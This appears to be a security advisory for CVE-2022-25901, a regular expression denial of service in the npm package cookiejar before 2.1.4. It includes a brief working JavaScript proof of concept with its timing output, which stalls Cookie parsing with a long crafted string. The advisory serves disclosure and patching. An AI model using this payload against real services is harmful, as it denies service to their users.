CVE-2022-25901: cookiejar Regular Expression Denial of Service via Cookie.parse function
(updated )
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse
function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
CookieJar.setCookie(): 2963.214399999939ms
References
- github.com/advisories/GHSA-h452-7996-h45h
- github.com/bmeck/node-cookiejar
- github.com/bmeck/node-cookiejar/blob/master/cookiejar.js
- github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73
- github.com/bmeck/node-cookiejar/pull/39
- github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5
- lists.debian.org/debian-lts-announce/2023/09/msg00008.html
- nvd.nist.gov/vuln/detail/CVE-2022-25901
- security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681
- security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984
Detect and mitigate CVE-2022-25901 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →